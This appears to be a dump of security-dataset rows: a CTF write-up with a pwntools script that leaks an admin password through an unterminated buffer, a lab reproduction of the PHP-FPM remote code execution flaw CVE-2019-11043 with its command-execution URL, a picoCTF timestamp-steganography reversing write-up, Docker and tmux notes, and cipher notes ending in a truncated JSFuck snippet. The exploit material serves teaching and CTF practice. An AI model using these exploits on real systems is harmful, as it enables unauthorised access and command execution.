text
stringlengths
100
9.93M
category
stringclasses
11 values
## Shop-1 (pwn, 100p, 34 solves) > Our marvelous Bragisdumus shop just opened. Come and see [our beautiful Bragisdumus](bragisdumu-shop)! > Login as an admin! get the admin password. > nc 185.106.120.220 1337 ### PL [ENG](#eng-version) Z zadaniem otrzymujemy binarkę serwera usługi typu CRUD z wpisami w pamięci procesu. Zgodnie z opisem celem pierwszej części jest zdobycie hasła administratora. Możemy również zalogować się na gościa z loginem i hasłem "guest". W głównej funkcji programu widzimy, że hasło administratora od momentu wczytania go z pliku "żyje" bardzo krótko: ```c password = sub_FB5("adminpass.txt", &length); result = memcmp(input_password, password, length); free(password); ``` Sama funkcja wczytująca hasło z pliku wydaje się w porządku. W takim razie sprawdźmy co z wynikiem `memcmp`, a konkretnie gdzie na stosie znajduje się zmienna `result`. ```c char input_login[32]; // [bp-70h] char input_password[64]; // [bp-50h] int result; // [bp-10h] ``` Widzimy zatem, że zaraz za buforami na wprowadzony login i hasło. ```c printf("Logged in as %s\n\n", input_login); ``` Wprowadzony login jest również wypisywany. Może nam to sugerować, że chodzić może o wyciek `result`. Zwłaszcza, że w funkcji wczytującej tekst nie widzimy wstawienia null-byte'a na koniec. Musimy więc wysłać przynajmniej 32 znaki w loginie i 64 w haśle. Wynik `memcmp` w naszym przypadku to dokładna różnica pomiędzy pierwszymi różniącymi się bajtami. Możemy zatem znak po znaku wyciągnąć hasło. ```python import pwnlib #host = 'localhost' host = '185.106.120.220' client = pwnlib.tubes.remote.remote(host, 1337) def login(username, password): client.recvuntil('Username: ') client.sendline(username) client.recvuntil('Password: ') client.sendline(password) password = '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~' for i in range(38): login('adminxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', password) login('guest', 'guest') n = int(client.recvlines(2)[1][109:].encode('hex'), 16) password = password[:i] + chr(ord(password[i]) - n) + password[i + 1:] client.sendline('8') print password ``` Hasło oraz flaga to `ASIS{304b0f16eb430391c6c86ab0f3294211}`. ### ENG version With the task we get a binary of a CRUD service in some entries inside process memory. According to task description the goal is to get the admin password. We can also login to a gues account with user/pass "gest". In the main function of the program we can see that the admin password "lives very short" after it is read from the file: ```c password = sub_FB5("adminpass.txt", &length); result = memcmp(input_password, password, length); free(password); ``` The password reading function itself seems to be fine at the first glance. Therefore we check what happens with `memcmp` result, specifically: where on the stack is the `result` variable. ```c char input_login[32]; // [bp-70h] char input_password[64]; // [bp-50h] int result; // [bp-10h] ``` We can see that right after the login and passwrod buffers. ```c printf("Logged in as %s\n\n", input_login); ``` The login is also printed out. This can be a suggestion that it's about leaking `result`. Especially that in the function reading the text there is no null-byte termination inserted. So we need to sent at least 32 characters in login and 64 in password. The result of `memcmp` in our case is the exact difference between first differing bytes. Therefore we can extract the password character by character: ```python import pwnlib #host = 'localhost' host = '185.106.120.220' client = pwnlib.tubes.remote.remote(host, 1337) def login(username, password): client.recvuntil('Username: ') client.sendline(username) client.recvuntil('Password: ') client.sendline(password) password = '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~' for i in range(38): login('adminxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', password) login('guest', 'guest') n = int(client.recvlines(2)[1][109:].encode('hex'), 16) password = password[:i] + chr(ord(password[i]) - n) + password[i + 1:] client.sendline('8') print password ``` Password and the flag: `ASIS{304b0f16eb430391c6c86ab0f3294211}`.
sec-knowleage
--- title: Docker 介绍 --- <center><h1>Docker 介绍</h1></center> --- Docker 是一个开放源代码软件,是一个开放平台,用于开发应用、交付(shipping)应用、运行应用。Docker允许用户将基础设施(Infrastructure)中的应用单独分割出来,形成更小的颗粒(容器),从而提高交付软件的速度。 Docker 容器与虚拟机类似,但二者在原理上不同,容器是将操作系统层虚拟化,虚拟机则是虚拟化硬件,因此容器更具有便携性、高效地利用服务器。 下图是 Docker 官方给出的架构图,里面包括了 Docker 客户端、Docker 容器所在的宿主机和 Docker 镜像仓库三个部分。 其中宿主机包括了 Docker 守护进程、本地容器和本地镜像,Docker 守护进程(dockerd)的作用是侦听 Docker API 请求和管理 Docker 对象。 <img width="900" src="/img/1649947060.png"> </br> > 参考地址: > > https://zh.wikipedia.org/wiki/Docker > <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年4月14日" } } </script>
sec-knowleage
# PHP-FPM 远程代码执行漏洞(CVE-2019-11043) 在长亭科技举办的 Real World CTF 中,国外安全研究员 Andrew Danau 在解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。 在使用一些有错误的Nginx配置的情况下,通过恶意构造的数据包,即可让PHP-FPM执行任意代码。 参考链接: - https://bugs.php.net/bug.php?id=78599 - https://lab.wallarm.com/php-remote-code-execution-0-day-discovered-in-real-world-ctf-exercise/ - https://github.com/neex/phuip-fpizdam ## 漏洞环境 执行如下命令启动有漏洞的Nginx和PHP: ``` docker compose up -d ``` 环境启动后,访问`http://your-ip:8080/index.php`即可查看到一个默认页面。 ## 漏洞复现 使用<https://github.com/neex/phuip-fpizdam>中给出的工具,发送数据包: ``` $ go run . "http://your-ip:8080/index.php" 2019/10/23 19:41:00 Base status code is 200 2019/10/23 19:41:00 Status code 502 for qsl=1795, adding as a candidate 2019/10/23 19:41:00 The target is probably vulnerable. Possible QSLs: [1785 1790 1795] 2019/10/23 19:41:02 Attack params found: --qsl 1790 --pisos 152 --skip-detect 2019/10/23 19:41:02 Trying to set "session.auto_start=0"... 2019/10/23 19:41:02 Detect() returned attack params: --qsl 1790 --pisos 152 --skip-detect <-- REMEMBER THIS 2019/10/23 19:41:02 Performing attack using php.ini settings... 2019/10/23 19:41:02 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs 2019/10/23 19:41:02 Trying to cleanup /tmp/a... 2019/10/23 19:41:02 Done! ``` ![](1.png) 可见,这里已经执行成功。 我们访问`http://your-ip:8080/index.php?a=id`,即可查看到命令已成功执行: ![](2.png) 注意,因为php-fpm会启动多个子进程,在访问`/index.php?a=id`时需要多访问几次,以访问到被污染的进程。
sec-knowleage
# B1g_Mac Reverse Engineering, 500 points ## Description: > Here's a zip file. ## Solution: Let's extract the file: ```console E:\CTFs\pico\B1g_Mac>"c:\Program Files\7-Zip\7z.exe" x b1g_mac.zip 7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21 Scanning the drive for archives: 1 file, 295964 bytes (290 KiB) Extracting archive: b1g_mac.zip -- Path = b1g_mac.zip Type = zip Physical Size = 295964 Everything is Ok Folders: 1 Files: 19 Size: 2408051 Compressed: 295964 ``` We get the following contents: ```console E:\CTFs\pico\B1g_Mac>dir /s Volume in drive E is CTF Volume Serial Number is 3C2B-8C21 Directory of E:\CTFs\pico\B1g_Mac 10/25/2019 11:04 PM <DIR> . 10/25/2019 11:04 PM <DIR> .. 10/25/2019 02:02 PM 295,964 b1g_mac.zip 04/06/2019 08:24 PM 110,279 main.exe 04/06/2019 02:11 AM <DIR> test 2 File(s) 406,243 bytes Directory of E:\CTFs\pico\B1g_Mac\test 04/06/2019 02:11 AM <DIR> . 04/06/2019 02:11 AM <DIR> .. 03/26/2019 02:20 AM 127,654 Item01 - Copy.bmp 03/26/2019 02:20 AM 127,654 Item01.bmp 03/26/2019 02:20 AM 127,654 Item02 - Copy.bmp 03/26/2019 02:20 AM 127,654 Item02.bmp 03/26/2019 02:20 AM 127,654 Item03 - Copy.bmp 03/26/2019 02:20 AM 127,654 Item03.bmp 03/26/2019 02:21 AM 127,654 Item04 - Copy.bmp 03/26/2019 02:21 AM 127,654 Item04.bmp 03/26/2019 02:21 AM 127,654 Item05 - Copy.bmp 03/26/2019 02:21 AM 127,654 Item05.bmp 03/26/2019 02:24 AM 127,654 Item06 - Copy.bmp 03/26/2019 02:24 AM 127,654 Item06.bmp 03/26/2019 02:24 AM 127,654 Item07 - Copy.bmp 03/26/2019 02:24 AM 127,654 Item07.bmp 03/26/2019 02:25 AM 127,654 Item08 - Copy.bmp 03/26/2019 02:25 AM 127,654 Item08.bmp 03/26/2019 03:15 AM 127,654 ItemTest - Copy.bmp 03/26/2019 03:15 AM 127,654 ItemTest.bmp 18 File(s) 2,297,772 bytes Total Files Listed: 20 File(s) 2,704,015 bytes 5 Dir(s) 17,938,530,304 bytes free ``` We have an executable and a folder named `test`, with 18 images. Let's run the executable: ```console E:\CTFs\pico\B1g_Mac>main.exe No flag found, please make sure this is run on the server ``` That's a strange error message, since this is a Windows executable and the server runs on Linux. However, we've seen this message in the past when the program required a `flag.txt` file in its directory, so lets create one and try again: ```console E:\CTFs\pico\B1g_Mac>echo picoCTF{fake_flag}>flag.txt E:\CTFs\pico\B1g_Mac>main.exe Work is done! Wait for 5 seconds to exit. ``` Ok, something happened. Since no new file appeared, let's re-extract the `test` directory from the zip file and compare it to the contents of the current `test` directory in order to see if any of the files have changed. ```console E:\CTFs\pico\B1g_Mac>move test test_dirty 1 dir(s) moved. E:\CTFs\pico\B1g_Mac>"c:\Program Files\7-Zip\7z.exe" e -y b1g_mac.zip -otest test 7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21 Scanning the drive for archives: 1 file, 295964 bytes (290 KiB) Extracting archive: b1g_mac.zip -- Path = b1g_mac.zip Type = zip Physical Size = 295964 Everything is Ok Folders: 1 Files: 18 Size: 2297772 Compressed: 295964 ``` Comparing the two folders using `WinMerge`, we can see that the files are binary same: ``` Compare E:\CTFs\pico\B1g_Mac\test with E:\CTFs\pico\B1g_Mac\test_dirty 10/25/2019 11:44:44 PM Filename Comparison result Left Date Right Date Extension test Left only: E:\CTFs\pico\B1g_Mac\test * 4/6/2019 2:11:26 AM Item01 - Copy.bmp Binary files are identical 3/26/2019 2:20:08 AM 3/26/2019 2:20:08 AM bmp Item01.bmp Binary files are identical 3/26/2019 2:20:08 AM 3/26/2019 2:20:08 AM bmp Item02 - Copy.bmp Binary files are identical 3/26/2019 2:20:34 AM 3/26/2019 2:20:34 AM bmp Item02.bmp Binary files are identical 3/26/2019 2:20:34 AM 3/26/2019 2:20:34 AM bmp Item03 - Copy.bmp Binary files are identical 3/26/2019 2:20:50 AM 3/26/2019 2:20:50 AM bmp Item03.bmp Binary files are identical 3/26/2019 2:20:51 AM 3/26/2019 2:20:51 AM bmp Item04 - Copy.bmp Binary files are identical 3/26/2019 2:21:13 AM 3/26/2019 2:21:13 AM bmp Item04.bmp Binary files are identical 3/26/2019 2:21:13 AM 3/26/2019 2:21:13 AM bmp Item05 - Copy.bmp Binary files are identical 3/26/2019 2:21:28 AM * 3/26/2019 2:21:28 AM bmp Item05.bmp Binary files are identical 3/26/2019 2:21:29 AM 3/26/2019 2:21:29 AM bmp Item06 - Copy.bmp Binary files are identical 3/26/2019 2:24:17 AM * 3/26/2019 2:24:17 AM bmp Item06.bmp Binary files are identical 3/26/2019 2:24:18 AM 3/26/2019 2:24:18 AM bmp Item07 - Copy.bmp Binary files are identical * 3/26/2019 2:24:47 AM 3/26/2019 2:24:47 AM bmp Item07.bmp Binary files are identical 3/26/2019 2:24:47 AM 3/26/2019 2:24:47 AM bmp Item08 - Copy.bmp Binary files are identical 3/26/2019 2:25:55 AM * 3/26/2019 2:25:55 AM bmp Item08.bmp Binary files are identical 3/26/2019 2:25:55 AM 3/26/2019 2:25:55 AM bmp ItemTest - Copy.bmp Binary files are identical 3/26/2019 3:15:31 AM * 3/26/2019 3:15:32 AM bmp ItemTest.bmp Binary files are identical 3/26/2019 3:15:32 AM 3/26/2019 3:15:32 AM bmp ``` Let's dive into Ghidra's decompiled output: ```c int __cdecl _main(int _Argc,char **_Argv,char **_Env) { FILE *_File; size_t sVar1; undefined4 local_60; undefined local_5a [50]; char local_28 [12]; ___main(); _isOver = 0; /* _folderName = "./test" */ local_28._0_4_ = 1702113070; local_28._4_4_ = 29811; local_28._8_4_ = 0; _folderName = local_28; _pLevel = 0; _File = open("flag.txt","r"); if (_File == (FILE *)0x0) { puts("No flag found, please make sure this is run on the server"); } sVar1 = fread(local_5a,1,18,_File); if ((int)sVar1 < 1) { /* WARNING: Subroutine does not return */ exit(0); } _flag = local_5a; _flag_size = 18; local_60 = 0; _flag_index = &local_60; puts("Work is done!"); _listdir(0,_folderName); puts("Wait for 5 seconds to exit."); _sleep(5); return 2; } ``` We can see that the program opens the flag file, reads 18 characters, initializes some globals (`_folderName`, `_flag`, `_flag_size`, `_flag_index`) and then calls `_listdir`. What does `_listdir` do? ```c void __cdecl _listdir(int param_1,undefined4 folder_name) { int iVar1; BOOL BVar2; char local_958 [2048]; _WIN32_FIND_DATAA local_158; HANDLE local_18; bool local_11; int local_10; local_18 = (HANDLE)0x0; sprintf(local_958,"%s\\*.*",folder_name); local_18 = FindFirstFileA(local_958,(LPWIN32_FIND_DATAA)&local_158); if (local_18 == (HANDLE)0xffffffff) { printf("Path not found: [%s]\n",folder_name); } else { local_10 = 1; local_11 = true; while (local_11 != false) { iVar1 = strcmp(local_158.cFileName,"."); if ((iVar1 != 0) && (iVar1 = strcmp(local_158.cFileName,".."), iVar1 != 0)) { sprintf(local_958,"%s\\%s",folder_name,local_158.cFileName); if ((local_158.dwFileAttributes & 0x10) == 0) { if (local_10 == 1) { if (param_1 == 0) { _hideInFile(local_958); } else { if (param_1 == 1) { _decodeBytes(local_958); } } } local_10 = 1 - local_10; } else { printf("Folder: %s\n",local_958); _listdir(param_1,local_958); } } if (_isOver != '\0') break; BVar2 = FindNextFileA(local_18,(LPWIN32_FIND_DATAA)&local_158); local_11 = BVar2 != 0; } FindClose(local_18); } return; } ``` It looks like `_listdir` is a recursive function which iterates over files in the folder (in our case it was called with the folder "`./test`" by the main function) and calls `_hideInFile` for every other file... assuming `param_1` is set to `0`. If `param_1` is set to `1`, an interesting function called `_decodeBytes` is called on the file instead. Who calls `_listdir` with `param_1 = 1`? An interesting uncalled function named `_decode`: ```c void _decode(void) { undefined4 local_28; undefined4 local_24; undefined4 local_20; undefined4 local_1c; undefined4 local_18; undefined4 local_14; undefined4 local_10; local_24 = 1634496360; local_20 = 2105376; local_1c = 0; local_18 = 0; local_14 = 0; _buff_size = 0x12; local_28 = 0; local_10 = 1; _buff = &local_24; _buff_index = &local_28; _listdir(1,_folderName); printf("value of DECODE %s \n",_buff); puts("Wait for 5 seconds to exit."); _sleep(5); /* WARNING: Subroutine does not return */ exit(0); } ``` This function relies on the `_folderName` global and seems very promising. We can call it independently using the debugger after `_folderName` gets initialized in the main function. Using `x64dbg`, we launch the program and execute: ``` > SetBPX 00401bda ``` This will set a breakpoint in main, right after initializing _folderName: ```assembly 00401bc9 8d 44 24 48 LEA EAX=>local_28,[ESP + 0x48] 00401bcd a3 34 54 MOV [_folderName],EAX = ?? 40 00 00401bd2 c7 44 24 MOV dword ptr [ESP + local_14],0x0 5c 00 00 00 00 00401bda c7 05 48 MOV dword ptr [_pLevel],0x31 = ?? 54 40 00 31 00 00 00 ``` We run and hit the breakpoint. Now we just need to change `eip` to `_decode` and run: ``` > EIP=00401afe ``` Now we just need to run, and we get the flag: ``` value of DECODE picoCTF{M4cTim35!} Wait for 5 seconds to exit. ``` So where did the flag hide? Let's take a look at the `_hideInFile` function: ```c void __cdecl _hideInFile(LPCSTR param_1) { BOOL BVar1; _FILETIME local_2c; _FILETIME local_24; _FILETIME local_1c; char local_12; char local_11; HANDLE local_10; local_10 = CreateFileA(param_1,0x100,0,(LPSECURITY_ATTRIBUTES)0x0,3,0,(HANDLE)0x0); .text(local_10); if (local_10 == (HANDLE)0xffffffff) { printf("Error:INVALID_HANDLED_VALUE"); } else { BVar1 = GetFileTime(local_10,(LPFILETIME)&local_1c,(LPFILETIME)&local_24,(LPFILETIME)&local_2c); if (BVar1 == 0) { printf("Error: C-GFT-01"); } else { local_11 = *(char *)(*_flag_index + _flag); *_flag_index = *_flag_index + 1; local_12 = *(char *)(*_flag_index + _flag); *_flag_index = *_flag_index + 1; _encodeBytes(local_11,local_12,(uint *)&local_2c); if (0 < _pLevel) { local_11 = *(char *)(*_flag_index + _flag); *_flag_index = *_flag_index + 1; local_12 = *(char *)(*_flag_index + _flag); *_flag_index = *_flag_index + 1; _encodeBytes(local_11,local_12,(uint *)&local_1c); } if (_pLevel == 2) { local_11 = *(char *)(*_flag_index + _flag); *_flag_index = *_flag_index + 1; local_12 = *(char *)(*_flag_index + _flag); *_flag_index = *_flag_index + 1; _encodeBytes(local_11,local_12,(uint *)&local_24); } BVar1 = SetFileTime(local_10,(FILETIME *)&local_1c,(FILETIME *)&local_24,(FILETIME *)&local_2c ); if (BVar1 == 0) { printf("Error: C-SFT-01"); } else { if (_flag_size <= *_flag_index) { _isOver = 1; } CloseHandle(local_10); } } } return; } ``` We can see that the function is using `GetFileTime` and `SetFileTime`, and this also explains the challenge name ([MAC](https://en.wikipedia.org/wiki/MAC_times) stands for "Modification, Access, Creation"). The Windows user interface shows us the date and H:M:S, but NTFS file systems have a resolution of 100 Nanoseconds for these fields (The `FILETIME` structure represents the time in 100-nanosecond intervals since January 1, 1601). This also explains why some files had an asterisk in the `WinMerge` report, even though the date didn't seem different: ``` Item05 - Copy.bmp Binary files are identical 3/26/2019 2:21:28 AM * 3/26/2019 2:21:28 AM bmp ``` Now, if we want to create a script to extract the flag, we won't be able to use any standard Python APIs since their resolution isn't good enough: ```python >>> os.stat("Item01 - Copy.bmp") os.stat_result(st_mode=33206, st_ino=562949953448601, st_dev=1009486881, st_nlink=1, st_uid=0, st_gid=0, st_size=127654, st_atime=1554572121, st_mtime=1553556008, st_ctime=1554505885) >>> os.stat("Item01 - Copy.bmp").st_mtime 1553556008.0027752 >>> os.path.getmtime("Item01 - Copy.bmp") 1553556008.0027752 ``` We can either write a `C` program that uses `WinAPI` or use the Python `ctypes` module to call Windows API functions directly. We just need to notice that the program sets `_pLevel` to `0` (so that only the file modification time is used to hide the flag) and that the `_encodeBytes` logic is simply: ```c void __cdecl _encodeBytes(char param_1,char param_2,uint *param_3) { *param_3 = (*param_3 & 0xffff0000) + (int)param_2 + (int)param_1 * 0x100; return; } ``` Meaning, every two bytes of the flag are encoded as the two least significant bytes of the modification time of a file. Here's how to extract the flag with Python: ```python from ctypes import windll, Structure, byref from ctypes.wintypes import LPWSTR, DWORD, FILETIME import os, glob class WIN32_FILE_ATTRIBUTE_DATA(Structure): _fields_ = [("dwFileAttributes", DWORD), ("ftCreationTime", FILETIME), ("ftLastAccessTime", FILETIME), ("ftLastWriteTime", FILETIME), ("nFileSizeHigh", DWORD), ("nFileSizeLow", DWORD)] # https://stackoverflow.com/questions/38508351/getting-last-change-time-in-python-on-windows def get_mtime(filename): wfad = WIN32_FILE_ATTRIBUTE_DATA() GetFileExInfoStandard = 0 windll.kernel32.GetFileAttributesExW(LPWSTR(filename), GetFileExInfoStandard, byref(wfad)) lowtime = long(wfad.ftLastWriteTime.dwLowDateTime) hightime = long(wfad.ftLastWriteTime.dwHighDateTime) filetime = (hightime << 32) + lowtime return filetime skip = True flag = "" for path in glob.iglob('test/*.bmp'): skip = not skip if skip: continue time = get_mtime(path) print "{}: \t{}".format(path, time) flag += chr((time & 0xff00) >> 8) flag += chr(time & 0xff) print flag ``` Output: ``` test\Item01 - Copy.bmp: 131980296080027753 test\Item02 - Copy.bmp: 131980296340005743 test\Item03 - Copy.bmp: 131980296509997908 test\Item04 - Copy.bmp: 131980296730003067 test\Item05 - Copy.bmp: 131980296889978164 test\Item06 - Copy.bmp: 131980298579960660 test\Item07 - Copy.bmp: 131980298870024557 test\Item08 - Copy.bmp: 131980299550012213 test\ItemTest - Copy.bmp: 131980329319997821 picoCTF{M4cTim35!} ```
sec-knowleage
tmux === Tmux是一个优秀的终端复用软件,类似GNU Screen,但来自于OpenBSD,采用BSD授权 ## 补充说明 使用它最直观的好处就是,通过一个终端登录远程主机并运行tmux后,在其中可以开启多个控制台而无需再“浪费”多余的终端来连接这台远程主机; ## 功能 - 提供了强劲的、易于使用的命令行界面。 - 可横向和纵向分割窗口。 - 窗格可以自由移动和调整大小,或直接利用四个预设布局之一。 - 支持 UTF-8 编码及 256 色终端。 - 可在多个缓冲区进行复制和粘贴。 - 可通过交互式菜单来选择窗口、会话及客户端。 - 支持跨窗口搜索。 - 支持自动及手动锁定窗口。 ## 安装 ```shell # 在 Mac OS 中,通过 brew 安装 brew install tmux # ubuntu版本下直接apt-get安装 sudo apt-get install tmux # centos7版本下直接yum安装 yum install -y tmux # centos6版本需要编译安装 yum install libevent libevent-devel ncurses-devel tar -zvxf tmux-2.3.tar.gz # (提前下载:wget https://github.com/tmux/tmux/releases/download/2.3/tmux-2.3.tar.gz) cd tmux-2.3 ./configure make && make install ``` ## 快捷键使用说明 | | | | :----- | :----- | | Ctrl+b | 激活控制台;此时以下按键生效 | ### 系统操作 | | | | :----- | -------- | | ? | 列出所有快捷键;按q返回 | | d | 脱离当前会话;这样可以暂时返回Shell界面,输入tmux attach能够重新进入之前的会话 | | D | 选择要脱离的会话;在同时开启了多个会话时使用 | | Ctrl+z | 挂起当前会话 | | r | 强制重绘未脱离的会话 | | s | 选择并切换会话;在同时开启了多个会话时使用 | | : | 进入命令行模式;此时可以输入支持的命令,例如kill-server可以关闭服务器 | | \[ | 进入复制模式;此时的操作与vi/emacs相同,按q/Esc退出 | | \~ | 列出提示信息缓存;其中包含了之前tmux返回的各种提示信息 | ### 窗口操作 | | | | :----- | -------- | | c | 创建新窗口 | | & | 关闭当前窗口 | | 数字键 | 切换至指定窗口 | | p | 切换至上一窗口 | | n | 切换至下一窗口 | | l | 在前后两个窗口间互相切换 | | w | 通过窗口列表切换窗口 | | , | 重命名当前窗口;这样便于识别 | | . | 修改当前窗口编号;相当于窗口重新排序 | | f | 在所有窗口中查找指定文本 | ### 面板操作 | | | | :----- | -------- | | ” | 将当前面板平分为上下两块 | | % | 将当前面板平分为左右两块 | | x | 关闭当前面板 | | ! | 将当前面板置于新窗口;即新建一个窗口,其中仅包含当前面板 | | Ctrl+方向键 | 以1个单元格为单位移动边缘以调整当前面板大小 | | Alt+方向键 | 以5个单元格为单位移动边缘以调整当前面板大小 | | Space | 在预置的面板布局中循环切换;依次包括even-horizontal、even-vertical、main-horizontal、main-vertical、tiled | | q | 显示面板编号 | | o | 在当前窗口中选择下一面板 | | 方向键 | 移动光标以选择面板 | | { | 向前置换当前面板 | | } | 向后置换当前面板 | | Alt+o | 逆时针旋转当前窗口的面板 | | Ctrl+o | 顺时针旋转当前窗口的面板 | 1)进入tmux面板后,一定要先按ctrl+b,然后松开,再按其他的组合键才生效。 2)常用到的几个组合键: ```shell ctrl+b ? # 显示快捷键帮助 ctrl+b 空格键 # 采用下一个内置布局,这个很有意思,在多屏时,用这个就会将多有屏幕竖着展示 ctrl+b ! # 把当前窗口变为新窗口 ctrl+b " # 模向分隔窗口 ctrl+b % # 纵向分隔窗口 ctrl+b q # 显示分隔窗口的编号 ctrl+b o # 跳到下一个分隔窗口。多屏之间的切换 ctrl+b 上下键 # 上一个及下一个分隔窗口 ctrl+b C-方向键 # 调整分隔窗口大小 ctrl+b & # 确认后退出当前tmux ctrl+b [ # 复制模式,即将当前屏幕移到上一个的位置上,其他所有窗口都向前移动一个。 ctrl+b c # 创建新窗口 ctrl+b n # 选择下一个窗口 ctrl+b l # 最后使用的窗口 ctrl+b p # 选择前一个窗口 ctrl+b w # 以菜单方式显示及选择窗口 ctrl+b s # 以菜单方式显示和选择会话。这个常用到,可以选择进入哪个tmux ctrl+b t # 显示时钟。然后按enter键后就会恢复到shell终端状态 ctrl+b d # 脱离当前会话;这样可以暂时返回Shell界面,输入tmux attach能够重新进入之前的会话 ``` ## 参考资料 - tmux 官网下载地址:http://tmux.github.io/
sec-knowleage
### 培根密码原理 培根密码使用两种不同的字体,代表 A 和 B,结合加密表进行加解密。 | a | AAAAA | g | AABBA | n | ABBAA | t | BAABA | | --- | ----- | --- | ----- | --- | ----- | --- | ----- | | b | AAAAB | h | AABBB | o | ABBAB | u-v | BAABB | | c | AAABA | i-j | ABAAA | p | ABBBA | w | BABAA | | d | AAABB | k | ABAAB | q | ABBBB | x | BABAB | | e | AABAA | l | ABABA | r | BAAAA | y | BABBA | | f | AABAB | m | ABABB | s | BAAAB | z | BABBB | 上面的是常用的加密表。还有另外的一种加密表,可认为是将 26 个字母从 0 到 25 排序,以二进制表示,A 代表 0,B 代表 1。 下面这一段内容就是明文 steganography 加密后的内容,正常字体是 A,粗体是 B: **T**o en**co**de **a** mes**s**age e**ac**h letter **of** the **pl**a**i**nt**ex**t **i**s replaced b**y a g**rou**p of f**i**ve** of **th**e lett**ers** **'A'** o**r 'B'**. 可以看到,培根密码主要有以下特点 - 只有两种字符 - 每一段的长度为 5 - 加密内容会有特殊的字体之分,亦或者大小写之分。 ### 栅栏密码原理 栅栏密码把要加密的明文分成 N 个一组,然后把每组的第 1 个字连起来,形成一段无规律的话。这里给出一个例子 ``` 明文:THERE IS A CIPHER ``` 去掉空格后变为 ``` THEREISACIPHER ``` 分成两栏,两个一组得到 ``` TH ER EI SA CI PH ER ``` 先取出第一个字母,再取出第二个字母 ``` TEESCPE HRIAIHR ``` 连在一起就是 ``` TEESCPEHRIAIHR ``` 上述明文也可以分为2栏。 ``` THEREIS ACIPHER ``` 组合得到密文 ``` TAHCEIRPEHIESR ``` ### 曲路密码原理 曲路密码(Curve Cipher)是一种换位密码,需要事先双方约定密钥(也就是曲路路径)。下面给出一个例子 ``` 明文:The quick brown fox jumps over the lazy dog ``` ``` 密文:gesfc inpho dtmwu qoury zejre hbxva lookT ``` ### 列移位加密原理 列移位密码(Columnar Transposition Cipher)是一种比较简单,易于实现的换位密码,通过一个简单的规则将明文打乱混合成密文。下面给出一个例子。 我们以明文 `The quick brown fox jumps over the lazy dog`,密钥 `how are u` 为例: 将明文填入 5 行 7 列表(事先约定填充的行列数,如果明文不能填充完表格可以约定使用某个字母进行填充) 密钥: `how are u`,按 `how are u` 在字母表中的出现的先后顺序进行编号,我们就有 a 为 1,e 为 2,h 为 3,o 为 4,r 为 5,u 为 6,w 为 7,所以先写出 a 列,其次 e 列,以此类推写出的结果便是密文: 密文: `qoury inpho Tkool hbxva uwmtd cfseg erjez` ### 01248 密码原理 该密码又称为云影密码,使用 0,1,2,4,8 四个数字,其中 0 用来表示间隔,其他数字以加法可以表示出 如:28=10,124=7,18=9,再用 1->26 表示 A->Z。 可以看出该密码有以下特点 - 只有 0,1,2,4,8 ### 01248 密码例子 这里我们以CFF 2016 影之密码为例进行介绍,题目 > 8842101220480224404014224202480122 我们按照0来进行分割,如下 | 内容 | 数字 | 字符 | | ------ | -------------- | ---- | | 88421 | 8+8+4+2+1=23 | W | | 122 | 1+2+2=5 | E | | 48 | 4+8=12 | L | | 2244 | 2+2+4+4=12 | L | | 4 | 4 | D | | 142242 | 1+4+2+2+4+2=15 | O | | 248 | 2+4+8=14 | N | | 122 | 1+2+2=5 | E | 所以最后的 flag 为 WELLDONE。 ### JSFuck原理 JSFuck 可以只用 6 个字符 `[]()!+` 来编写 JavaScript 程序。比如我们想用 JSFuck 来实现 `alert(1)` 代码如下 ```javascript [][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]][([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[!+[]+!+[]+!+[]]]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]]]+([][[]]+[])[+[[+!+[]]]]+(![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[+!+[]]]]+([][[]]+[])[+[[+[]]]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]]((![]+[])[+[[+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]+(!![]+[])[+[[+[]]]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]